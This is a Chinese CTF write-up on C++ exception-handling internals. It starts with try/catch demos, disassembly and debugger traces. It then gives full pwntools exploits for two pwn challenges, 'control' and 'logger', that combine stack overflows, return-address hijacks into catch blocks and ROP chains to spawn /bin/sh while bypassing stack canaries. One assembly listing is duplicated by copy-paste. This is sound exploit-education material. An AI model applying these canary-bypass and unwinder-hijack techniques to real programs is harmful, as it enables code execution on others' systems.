从2024羊城杯logger题目引起的cpp异常处理机制学习
自己的理解与尝试
编写demo看执行结果
参考资料然后根据资料里的demo自己改了一下看看实际try…catch是怎么运行的
demo1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| #include <iostream> using namespace std;
void test_func3() { cout << "func3 start" << endl; throw 3;
cout << "test func3" << endl; }
void test_func2() { cout << "test func2" << endl; try { test_func3(); } catch (int) { cout << "catch 2" << endl; } cout << "func2 exit" << endl; }
void test_func1() { cout << "test func1" << endl; try { test_func2(); } catch (...) { cout << "catch 1" << endl; } cout << "func1 exit" << endl; }
int main() { test_func1(); cout << "main exit" << endl; return 0; }
|
运行结果;
1 2 3 4 5 6 7
| test func1 test func2 func3 start catch 2 func2 exit func1 exit main exit
|
可以看到func3
抛出异常之后,throw后面的代码不再执行。因为func3本身没有catch,所以会从他的调用者去找catch。这里catch理解成异常处理函数。catch2执行完之后会继续把func2、func1和main执行完。
demo2
现在我们试试吧catch2也去掉:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| #include <iostream> using namespace std;
void test_func3() { cout << "func3 start" << endl; throw 3;
cout << "test func3" << endl; }
void test_func2() { cout << "test func2" << endl;
test_func3();
cout << "func2 exit" << endl; }
void test_func1() { cout << "test func1" << endl; try { test_func2(); } catch (...) { cout << "catch 1" << endl; } cout << "func1 exit" << endl; }
int main() { test_func1(); cout << "main exit" << endl; return 0; }
|
运行结果:
1 2 3 4 5 6
| test func1 test func2 func3 start catch 1 func1 exit main exit
|
可以看到由于func2也找不到catch,所以会沿着调用链继续向上找,找到了func1处的catch。伴随着func2中的catch的消失而发生的另一个变化是,func2也没有执行完,但是会从func1的catch后继续执行。
demo3
接下来试试在程序中不定义catch看看会发生什么:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| #include <iostream> using namespace std;
void test_func3() { cout << "func3 start" << endl; throw 3;
cout << "test func3" << endl; }
void test_func2() { cout << "test func2" << endl;
test_func3();
cout << "func2 exit" << endl; }
void test_func1() { cout << "test func1" << endl; test_func2(); cout << "func1 exit" << endl; }
int main() { test_func1(); cout << "main exit" << endl; return 0; }
|
运行结果:
1 2 3 4 5
| test func1 test func2 func3 start terminate called after throwing an instance of 'int' Aborted
|
程序直接aborted了。
突发奇想,我们把刚刚实验生成的程序放到IDA中看看长什么样。
1 2 3 4 5 6 7 8 9 10 11
| void __noreturn test_func3(void) { __int64 v0; _DWORD *exception;
v0 = std::operator<<<std::char_traits<char>>(&std::cout, "func3 start"); std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>); exception = __cxa_allocate_exception(4uLL); *exception = 3; __cxa_throw(exception, (struct type_info *)&`typeinfo for'int, 0LL); }
|
抛出异常部分的伪代码长这样。但是catch部分并不会出现在伪代码中,但是会体现在汇编当中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| .text:0000000000001341 ; try { .text:0000000000001341 call _Z10test_func2v ; test_func2(void) .text:0000000000001341 ; } // starts at 1341 .text:0000000000001346 ; --------------------------------------------------------------------------- .text:0000000000001346 .text:0000000000001346 loc_1346: ; CODE XREF: test_func1(void)+A6↓j .text:0000000000001346 lea rax, aFunc1Exit ; "func1 exit" .text:000000000000134D mov rsi, rax .text:0000000000001350 lea rax, _ZSt4cout@GLIBCXX_3_4 .text:0000000000001357 mov rdi, rax .text:000000000000135A call __ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc ; std::operator<<<std::char_traits<char>>(std::ostream &,char const*) .text:000000000000135F mov rdx, cs:_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6__ptr .text:0000000000001366 mov rsi, rdx .text:0000000000001369 mov rdi, rax .text:000000000000136C call __ZNSolsEPFRSoS_E ; std::ostream::operator<<(std::ostream & (*)(std::ostream &)) .text:0000000000001371 jmp short loc_13C8 .text:0000000000001373 ; --------------------------------------------------------------------------- .text:0000000000001373 ; catch(...) // owned by 1341 .text:0000000000001373 endbr64 .text:0000000000001377 mov rdi, rax ; void * .text:000000000000137A call ___cxa_begin_catch .text:000000000000137F lea rax, aCatch1 ; "catch 1" .text:0000000000001386 mov rsi, rax .text:0000000000001389 lea rax, _ZSt4cout@GLIBCXX_3_4 .text:0000000000001390 mov rdi, rax .text:0000000000001393 ; try { .text:0000000000001393 call __ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc ; std::operator<<<std::char_traits<char>>(std::ostream &,char const*) .text:0000000000001398 mov rdx, cs:_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6__ptr .text:000000000000139F mov rsi, rdx .text:00000000000013A2 mov rdi, rax .text:00000000000013A5 call __ZNSolsEPFRSoS_E ; std::ostream::operator<<(std::ostream & (*)(std::ostream &)) .text:00000000000013A5 ; } // starts at 1393 .text:00000000000013AA call ___cxa_end_catch .text:00000000000013AF jmp short loc_1346 .text:00000000000013B1 ; --------------------------------------------------------------------------- .text:00000000000013B1 ; cleanup() // owned by 1393 .text:00000000000013B1 endbr64 .text:00000000000013B5 mov rbx, rax .text:00000000000013B8 call ___cxa_end_catch .text:00000000000013BD mov rax, rbx .text:00000000000013C0 mov rdi, rax ; struct _Unwind_Exception * .text:00000000000013C3 call __Unwind_Resume .text:00000000000013C8 ; --------------------------------------------------------------------------- .text:00000000000013C8 .text:00000000000013C8 loc_13C8: ; CODE XREF: test_func1(void)+68↑j .text:00000000000013C8 mov rbx, [rbp+var_8] .text:00000000000013CC leave .text:00000000000013CD retn .text:00000000000013CD ; } // starts at 1309 .text:00000000000013CD _Z10test_func1v endp
|
可以看到0x13AF处执行完catch之后jmp到了0x1346,这个地方正好对应源码里func1 exit的部分。说明catch完会直接从当前位置继续执行。
那这里就会产生一个想法,比如说我如果想通过这个劫持执行流,我是否可以直接劫持func1的返回地址就行?
网上关于异常处理漏洞利用的地方几乎完全没看懂,所以打算自己动调看看到底程序在catch的时候发生了什么。
网上的说法
1 2 3 4 5 6
| 1)调用 __cxa_allocate_exception 函数,分配一个异常对象。 2)调用 __cxa_throw 函数,这个函数会将异常对象做一些初始化。 3)__cxa_throw() 调用 Itanium ABI 里的 _Unwind_RaiseException() 从而开始 unwind。 4)_Unwind_RaiseException() 对调用链上的函数进行 unwind 时,调用 personality routine。 5)如果该异常如能被处理(有相应的 catch),则 personality routine 会依次对调用链上的函数进行清理。 6)_Unwind_RaiseException() 将控制权转到相应的catch代码。
|
几乎每一篇博客都能看到这些流程,但是我看得一头雾水,直到我自己动调看了程序的变化才有点头绪。
在动调里挣扎
我用了第一个demo的程序来做动调。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113
| .text:0000000000001249 ; void __noreturn test_func3(void) .text:0000000000001249 public _Z10test_func3v .text:0000000000001249 _Z10test_func3v proc near ; CODE XREF: test_func2(void)+38↓p .text:0000000000001249 ; __unwind { .text:0000000000001249 endbr64 .text:000000000000124D push rbp .text:000000000000124E mov rbp, rsp .text:0000000000001251 lea rax, aFunc3Start ; "func3 start" .text:0000000000001258 mov rsi, rax .text:000000000000125B lea rax, _ZSt4cout@GLIBCXX_3_4 .text:0000000000001262 mov rdi, rax .text:0000000000001265 call __ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc ; std::operator<<<std::char_traits<char>>(std::ostream &,char const*) .text:000000000000126A mov rdx, cs:_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6__ptr .text:0000000000001271 mov rsi, rdx .text:0000000000001274 mov rdi, rax .text:0000000000001277 call __ZNSolsEPFRSoS_E ; std::ostream::operator<<(std::ostream & (*)(std::ostream &)) .text:000000000000127C mov edi, 4 ; thrown_size .text:0000000000001281 call ___cxa_allocate_exception .text:0000000000001286 mov dword ptr [rax], 3 .text:000000000000128C mov edx, 0 ; void (*)(void *) .text:0000000000001291 lea rcx, _ZTIi@CXXABI_1_3 .text:0000000000001298 mov rsi, rcx ; lptinfo .text:000000000000129B mov rdi, rax ; void * .text:000000000000129E call ___cxa_throw .text:000000000000129E ; } // starts at 1249 .text:000000000000129E _Z10test_func3v endp .text:000000000000129E .text:00000000000012A3 .text:00000000000012A3 ; =============== S U B R O U T I N E ======================================= .text:00000000000012A3 .text:00000000000012A3 ; Attributes: bp-based frame .text:00000000000012A3 .text:00000000000012A3 ; void __noreturn test_func2(void) .text:00000000000012A3 public _Z10test_func2v .text:00000000000012A3 _Z10test_func2v proc near ; CODE XREF: test_func1(void)+38↓p .text:00000000000012A3 .text:00000000000012A3 var_14 = dword ptr -14h .text:00000000000012A3 var_8 = qword ptr -8 .text:00000000000012A3 .text:00000000000012A3 ; __unwind { // __gxx_personality_v0 .text:00000000000012A3 endbr64 .text:00000000000012A7 push rbp .text:00000000000012A8 mov rbp, rsp .text:00000000000012AB push rbx .text:00000000000012AC sub rsp, 18h .text:00000000000012B0 lea rax, aTestFunc2 ; "test func2" .text:00000000000012B7 mov rsi, rax .text:00000000000012BA lea rax, _ZSt4cout@GLIBCXX_3_4 .text:00000000000012C1 mov rdi, rax .text:00000000000012C4 call __ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc ; std::operator<<<std::char_traits<char>>(std::ostream &,char const*) .text:00000000000012C9 mov rdx, cs:_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6__ptr .text:00000000000012D0 mov rsi, rdx .text:00000000000012D3 mov rdi, rax .text:00000000000012D6 call __ZNSolsEPFRSoS_E ; std::ostream::operator<<(std::ostream & (*)(std::ostream &)) .text:00000000000012DB ; try { .text:00000000000012DB call _Z10test_func3v ; test_func3(void) .text:00000000000012DB ; } // starts at 12DB .text:00000000000012E0 ; --------------------------------------------------------------------------- .text:00000000000012E0 .text:00000000000012E0 loc_12E0: ; CODE XREF: test_func2(void)+B9↓j .text:00000000000012E0 lea rax, aFunc2Exit ; "func2 exit" .text:00000000000012E7 mov rsi, rax .text:00000000000012EA lea rax, _ZSt4cout@GLIBCXX_3_4 .text:00000000000012F1 mov rdi, rax .text:00000000000012F4 call __ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc ; std::operator<<<std::char_traits<char>>(std::ostream &,char const*) .text:00000000000012F9 mov rdx, cs:_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6__ptr .text:0000000000001300 mov rsi, rdx .text:0000000000001303 mov rdi, rax .text:0000000000001306 call __ZNSolsEPFRSoS_E ; std::ostream::operator<<(std::ostream & (*)(std::ostream &)) .text:000000000000130B jmp short loc_1375 .text:000000000000130D ; --------------------------------------------------------------------------- .text:000000000000130D ; catch(_ZTIi@CXXABI_1_3) // owned by 12DB .text:000000000000130D endbr64 .text:0000000000001311 cmp rdx, 1 .text:0000000000001315 jz short loc_131F .text:0000000000001317 mov rdi, rax ; struct _Unwind_Exception * .text:000000000000131A call __Unwind_Resume .text:000000000000131F ; --------------------------------------------------------------------------- .text:000000000000131F .text:000000000000131F loc_131F: ; CODE XREF: test_func2(void)+72↑j .text:000000000000131F mov rdi, rax ; void * .text:0000000000001322 call ___cxa_begin_catch .text:0000000000001327 mov eax, [rax] .text:0000000000001329 mov [rbp+var_14], eax .text:000000000000132C lea rax, aCatch2 ; "catch 2" .text:0000000000001333 mov rsi, rax .text:0000000000001336 lea rax, _ZSt4cout@GLIBCXX_3_4 .text:000000000000133D mov rdi, rax .text:0000000000001340 ; try { .text:0000000000001340 call __ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc ; std::operator<<<std::char_traits<char>>(std::ostream &,char const*) .text:0000000000001345 mov rdx, cs:_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6__ptr .text:000000000000134C mov rsi, rdx .text:000000000000134F mov rdi, rax .text:0000000000001352 call __ZNSolsEPFRSoS_E ; std::ostream::operator<<(std::ostream & (*)(std::ostream &)) .text:0000000000001352 ; } // starts at 1340 .text:0000000000001357 call ___cxa_end_catch .text:000000000000135C jmp short loc_12E0 .text:000000000000135E ; --------------------------------------------------------------------------- .text:000000000000135E ; cleanup() // owned by 1340 .text:000000000000135E endbr64 .text:0000000000001362 mov rbx, rax .text:0000000000001365 call ___cxa_end_catch .text:000000000000136A mov rax, rbx .text:000000000000136D mov rdi, rax ; struct _Unwind_Exception * .text:0000000000001370 call __Unwind_Resume .text:0000000000001375 ; --------------------------------------------------------------------------- .text:0000000000001375 .text:0000000000001375 loc_1375: ; CODE XREF: test_func2(void)+68↑j .text:0000000000001375 mov rbx, [rbp+var_8] .text:0000000000001379 leave .text:000000000000137A retn .text:000000000000137A ; } // starts at 12A3 .text:000000000000137A _Z10test_func2v endp
|
首先先断点在.text:000000000000129E call ___cxa_throw
上,即func3即将抛出异常的地方,可以看到此时func3的ret地址是func2正常退出的地址(func2+61)
如果此时直接步过__cxa_throw
,程序直接就往后执行完退出了,说明所有问题都出在这个函数里。因此我们步进去看看会发生什么。
步进之后可以进一步发现问题出在_Unwind_RaiseException
函数里。这个函数实在是过于复杂,我在2024GFCTF中的control那道题里找到了这个函数的汇编代码(因为他是静态编译的),从加载出来的符号表可以看出这个函数的主要作用是更改上下文。
从实际效果出发来说的话就是他把func3的返回地址从func2的正常退出改成了func2中的catch块。
这里我偷了个懒,我直接在0x130D处下了断点,也就是刚开始执行func2的catch块的地方,然后关注栈上func3栈帧的返回地址。
1 2 3 4 5 6 7 8 9
| pwndbg> telescope 0x7fffffffdb50 00:0000│-030 0x7fffffffdb50 —▸ 0x7fffffffdb80 —▸ 0x7fffffffdba0 —▸ 0x7fffffffdbb0 ◂— 0x1 01:0008│-028 0x7fffffffdb58 —▸ 0x55555555530d (test_func2()+106) ◂— endbr64 02:0010│ rdi rsp 0x7fffffffdb60 —▸ 0x7fffffffdcc8 —▸ 0x7fffffffdf45 ◂— '/mnt/c/Users/31386/Desktop/tmp' 03:0018│-018 0x7fffffffdb68 ◂— 0xd6e057b5651d2000 04:0020│-010 0x7fffffffdb70 ◂— 0x0 05:0028│-008 0x7fffffffdb78 ◂— 0x0 06:0030│ rbp 0x7fffffffdb80 —▸ 0x7fffffffdba0 —▸ 0x7fffffffdbb0 ◂— 0x1 07:0038│+008 0x7fffffffdb88 —▸ 0x5555555553b8 (test_func1()+61) ◂— lea rax, [rip + 0xc7a]
|
很明显,func3的返回地址从func2+61
变成了func2+106
。这就给了我们一个启示:其实可以像正常rop一样劫持ret地址的。但是有一个疑问在于,明明throw往往会比栈溢出更先发生,那岂不是劫持好的ret地址又被修改了?事实上在一些情况下并不会发生,但是百思不得其解。迫不得已,去找找源码。资料 源码
libc里只能找到关于上下文设置的函数,没有_Unwind_RaiseException
的,一番搜索之后发现他在gcc的源码里。这意味这什么?这意味这其实这部分处理早在编译的时候就已经做好预处理了,而非程序运行才来处理,是更底层的实现,比如像这个函数是怎么找到catch块的这样的问题。
结合上面两篇资料的分析(我想大概是基于LSDA的检查),加上我自己对源码的理解,应该可以得出一个结论:只要ret地址劫持的是catch块就可以绕过检查,直接break结束循环寻找catch的过程。经过实验发现只要是位于try和catch之间的地址都是合法的。因为资料里有太多看不懂的术语,不确定我的理解是否正确,所以这里只是我的想法,仅有少量实验,未经过严谨的推断,准确性有待商榷。
1 2 3 4 5 6 7 8 9 10
| if (fs.personality) { code = (*fs.personality) (1, _UA_SEARCH_PHASE, exc->exception_class, exc, &cur_context); if (code == _URC_HANDLER_FOUND) break; else if (code != _URC_CONTINUE_UNWIND) return _URC_FATAL_PHASE1_ERROR; }
|
当然这只是有关异常处理利用的其中一种方式而已,我见到更多的其实是利用它不执行后续代码来绕过canary然后打栈迁移的。
DASCTF X GFCTF 2024 control
分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| int __fastcall main(int argc, const char **argv, const char **envp) { int v3; int v4; int v5; int v6;
init(); puts("welcome to control", argv); puts("Let's answer some question", argv); printf((unsigned int)"Gift> ", (_DWORD)argv, v3, v4, v5, v6); read(0LL, &gift, 16LL); return vuln(0LL, (__int64)&gift); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| unsigned __int64 __fastcall vuln(__int64 a1, __int64 a2) { _QWORD *exception; _BYTE v4[104]; unsigned __int64 v5;
v5 = __readfsqword(0x28u); puts("How much do you know about control?", a2); if ( (int)read(0LL, v4, 0x100LL) > 96 ) { exception = _cxa_allocate_exception(8uLL); *exception = "WRONGING! This answer is not suit"; _cxa_throw(exception, (struct type_info *)&`typeinfo for'char const*, 0LL); } return __readfsqword(0x28u) ^ v5; }
|
程序开头允许向bss段输入16个字节,然后在vuln函数中有cpp的异常处理函数,同时有0x30大小的栈溢出。可以看到当输入大于0x60的时候,就会触发异常处理。触发异常处理后,该函数后面的代码不再执行。所以就算破坏了canary程序也不一定会直接退出(之所以说不一定是因为有可能异常处理函数就是退出处理)。
看汇编会发现vuln函数里并没有catch,main函数中有catch,所以vuln函数中的栈溢出检查就不会被执行,会从main继续往下执行,main结束时会返回,所以只要劫持rbp到bss段上就可以进行rop了。
刚好一开始可以写16个字节,可以提前布置好binsh和ret地址,让main返回之后再次执行vuln函数。方便起见,可以直接劫持ret地址为read处,这样可以绕过栈初始化,就不用再动调看偏移了。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| from pwn import * context(os='linux', arch='amd64', log_level='debug')
e = ELF("./control") r = process("./control")
gift = 0x4D3350 vuln = 0x402183
payload = p64(gift) + p64(vuln) r.sendafter(b"Gift> ", payload)
payload = b'a'*0x70+p64(gift) r.sendafter(b"control?", payload)
pop_rax = 0x462c27 pop_rdi = 0x401c72 pop_rsi = 0x405285 pop_rdx_rbx = 0x495b8b syscall = 0x40161e
payload = p64(0)*14 payload += b'/bin/sh\x00' payload += p64(pop_rax) payload += p64(0x3b) payload += p64(pop_rdi) payload += p64(gift) payload += p64(pop_rsi) payload += p64(0) payload += p64(pop_rdx_rbx) payload += p64(0) payload += p64(0) payload += p64(syscall)
r.send(payload) r.interactive()
|
2024羊城杯 logger
分析
这道题就要用到最开始分析的方法了,因为这道题是有后门的。
trace函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| unsigned __int64 sub_4015AB() { int i; int j; int v3; __int16 v4; unsigned __int64 v5;
v5 = __readfsqword(0x28u); printf("\nYou can record log details here: "); fflush(stdout); for ( i = 0; i <= 8 && byte_404020[16 * i]; ++i ) ; if ( i <= 8 ) { byte_404020[16 * i + read(0, &byte_404020[16 * i], 0x10uLL)] = 0; printf("Do you need to check the records? "); fflush(stdout); v4 = 0; __isoc99_scanf("%1s", &v4); if ( (_BYTE)v4 == 121 || (_BYTE)v4 == 89 ) { v3 = 8; for ( j = 0; j <= 8 && byte_404020[16 * j] && v3; ++j ) { printf("\x1B[31mRecord%d. %.16s\x1B[0m", j + 1, &byte_404020[16 * j]); --v3; } } else if ( (_BYTE)v4 != 110 && (_BYTE)v4 != 78 ) { puts("Invalid input. Please enter 'y' or 'n'."); exit(0); } } else { puts("Records have been filled :("); } return v5 - __readfsqword(0x28u); }
|
这个函数允许我们写九次每次16个字节的数据,每次写入后会在末尾加一个截断符,写入的时候会检查该地址起始是否为\0。
warn函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| unsigned __int64 sub_40178A() { unsigned __int64 v0; _QWORD *exception; __int64 v3; _BYTE buf[16]; _QWORD v5[4]; _QWORD v6[5]; unsigned __int64 v7;
v7 = __readfsqword(0x28u); sub_401CA0(buf); memset(v5, 0, sizeof(v5)); sub_4014FD(v5, 32LL); printf("\n\x1B[1;31m%s\x1B[0m\n", (const char *)v5); printf("[!] Type your message here plz: "); fflush(stdout); v0 = read(0, buf, 0x100uLL); HIBYTE(v3) = HIBYTE(v0); buf[v0 - 1] = 0; if ( v0 > 0x10 ) { memcpy(byte_404200, buf, sizeof(byte_404200)); strcpy(dest, src); strcpy(&dest[strlen(dest)], ": "); strncat(dest, byte_404200, 0x100uLL); puts(dest); exception = __cxa_allocate_exception(8uLL); *exception = src; __cxa_throw(exception, (struct type_info *)&`typeinfo for'char *, 0LL); } memcpy(byte_404100, buf, sizeof(byte_404100)); memset(v6, 0, 32); sub_4014FD(v6, 32LL); printf("[User input log]\nMessage: %s\nDone at %s\n", byte_404100, (const char *)v6); sub_401CCA(buf); return v7 - __readfsqword(0x28u); }
|
这里有抛出异常的函数,如果输入字节的长度大于16字节就会抛出异常。查看汇编发现当前函数是没有catch块的,而调用链上最近的catch块在main函数(其实也是调用链上唯一一个)。异常抛出函数将src处(在data段)的字符当作exception传给catch,然后打印一串字符,接着继续执行main函数,因为main是无限循环的,所以不会退出。
同时可以发现这个程序其实不止一个catch块,并且在0x401BC7的catch执行了system,所以我们可以劫持ret地址到这个后门catch块。接下来考虑怎么传参就行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
| .text:0000000000401B8F ; void __noreturn sub_401B8F() .text:0000000000401B8F sub_401B8F proc near .text:0000000000401B8F .text:0000000000401B8F command = qword ptr -18h .text:0000000000401B8F var_8 = qword ptr -8 .text:0000000000401B8F .text:0000000000401B8F ; __unwind { .text:0000000000401B8F endbr64 .text:0000000000401B93 push rbp .text:0000000000401B94 mov rbp, rsp .text:0000000000401B97 push rbx .text:0000000000401B98 sub rsp, 18h .text:0000000000401B9C mov edi, 8 ; thrown_size .text:0000000000401BA1 call ___cxa_allocate_exception .text:0000000000401BA6 lea rdx, aEchoHelloYcbCt ; "echo Hello, YCB ctfer!" .text:0000000000401BAD mov [rax], rdx .text:0000000000401BB0 mov edx, 0 ; void (*)(void *) .text:0000000000401BB5 mov rcx, cs:_ZTIPKc_ptr .text:0000000000401BBC mov rsi, rcx ; lptinfo .text:0000000000401BBF mov rdi, rax ; void * .text:0000000000401BC2 ; try { .text:0000000000401BC2 call ___cxa_throw .text:0000000000401BC2 ; } .text:0000000000401BC7 ; ---------------------------------------------------------------------------.text:0000000000401B8F ; void __noreturn sub_401B8F() .text:0000000000401B8F sub_401B8F proc near .text:0000000000401B8F .text:0000000000401B8F command = qword ptr -18h .text:0000000000401B8F var_8 = qword ptr -8 .text:0000000000401B8F .text:0000000000401B8F ; __unwind { .text:0000000000401B8F endbr64 .text:0000000000401B93 push rbp .text:0000000000401B94 mov rbp, rsp .text:0000000000401B97 push rbx .text:0000000000401B98 sub rsp, 18h .text:0000000000401B9C mov edi, 8 ; thrown_size .text:0000000000401BA1 call ___cxa_allocate_exception .text:0000000000401BA6 lea rdx, aEchoHelloYcbCt ; "echo Hello, YCB ctfer!" .text:0000000000401BAD mov [rax], rdx .text:0000000000401BB0 mov edx, 0 ; void (*)(void *) .text:0000000000401BB5 mov rcx, cs:_ZTIPKc_ptr .text:0000000000401BBC mov rsi, rcx ; lptinfo .text:0000000000401BBF mov rdi, rax ; void * .text:0000000000401BC2 ; try { .text:0000000000401BC2 call ___cxa_throw .text:0000000000401BC2 ; } .text:0000000000401BC7 ; --------------------------------------------------------------------------- .text:0000000000401BC7 ; catch(char const*) .text:0000000000401BC7 endbr64 .text:0000000000401BCB cmp rdx, 1 .text:0000000000401BCF jz short loc_401BD9 .text:0000000000401BD1 mov rdi, rax ; struct _Unwind_Exception * .text:0000000000401BD4 call __Unwind_Resume .text:0000000000401BD9 ; --------------------------------------------------------------------------- .text:0000000000401BD9 .text:0000000000401BD9 loc_401BD9: ; CODE XREF: sub_401B8F+40↑j .text:0000000000401BD9 mov rdi, rax ; void * .text:0000000000401BDC call ___cxa_begin_catch .text:0000000000401BE1 mov [rbp+command], rax .text:0000000000401BE5 mov rax, [rbp+command] .text:0000000000401BE9 mov rsi, rax .text:0000000000401BEC lea rax, aAnExceptionOfT_1 ; "[-] An exception of type String was cau"... .text:0000000000401BF3 mov rdi, rax ; format .text:0000000000401BF6 mov eax, 0 .text:0000000000401BFB ; try { .text:0000000000401BFB call _printf .text:0000000000401C00 mov rax, [rbp+command] .text:0000000000401C04 mov rdi, rax ; command .text:0000000000401C07 call _system .text:0000000000401C07 ; } .text:0000000000401C0C nop .text:0000000000401C0D call ___cxa_end_catch .text:0000000000401C12 jmp short loc_401C2B .text:0000000000401C14 ; --------------------------------------------------------------------------- .text:0000000000401C14 ; cleanup() .text:0000000000401C14 endbr64 .text:0000000000401C18 mov rbx, rax .text:0000000000401C1B call ___cxa_end_catch .text:0000000000401C20 mov rax, rbx .text:0000000000401C23 mov rdi, rax ; struct _Unwind_Exception * .text:0000000000401C26 call __Unwind_Resume .text:0000000000401C2B ; --------------------------------------------------------------------------- .text:0000000000401C2B .text:0000000000401C2B loc_401C2B: ; CODE XREF: sub_401B8F+83↑j .text:0000000000401C2B mov rbx, [rbp+var_8] .text:0000000000401C2F leave .text:0000000000401C30 retn .text:0000000000401C30 ; } .text:0000000000401C30 sub_401B8F endp
|
可以看到参数是rbp-0x18处的数据,但是在0x401BE1处程序将rax赋给了rbp-0x18,所以要动调看看赋了什么。动调发现是0x4040a0,所以我们需要在这个地方写入binsh。
1 2 3 4 5 6 7 8 9 10 11 12 13
| pwndbg> x/32gx 0x404020 0x404020: 0x3b68732f6e69622f 0x3b68732f6e69622f 0x404030: 0x3b68732f6e69622f 0x00000000004040a0 0x404040: 0x3b68732f6e69622f 0x3b68732f6e69622f 0x404050: 0x3b68732f6e69622f 0x3b68732f6e69622f 0x404060: 0x3b68732f6e69622f 0x3b68732f6e69622f 0x404070: 0x3b68732f6e69622f 0x3b68732f6e69622f 0x404080: 0x3b68732f6e69622f 0x3b68732f6e69622f 0x404090: 0x3b68732f6e69622f 0x3b68732f6e69622f 0x4040a0: 0x0068732f6e69622f 0x00776f6c6672000a 0x4040b0: 0x0000000000000000 0x0000000000000000 0x4040c0: 0x00007fa631b00848 0x00007fa631b006f8 0x4040d0: 0x00007fa6319908c0 0x0000000000000000
|
原本0x4040a0是Buffer Overflow
这个字符串,但是利用trace在末尾加截断符的性质可以将这个字符串覆写为binsh。
至于rbp劫持了为多少,只要rbp-0x18不要超出data段就行了。
对了,这里一样也是不用顾虑canary的问题,因为抛出异常之后,__stack_chk_fail
不会被执行到。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| from pwn import * context.log_level = 'debug' r = process("./pwn") e = ELF('./pwn')
def trace(content): r.sendlineafter("chocie:", b'1') r.sendlineafter("details here:", content) r.sendlineafter("records?", b'n')
def warn(content): r.sendlineafter("chocie:", b'2') r.sendlineafter("plz: ", content)
for i in range(8): trace(b'/bin/sh;'*2) trace(b'/bin/sh\x00') binsh = 0x404020
warn(b'/bin/sh\x00'*(0x70//8)+p64(0x404050)+p64(0x401bc7))
r.interactive()
|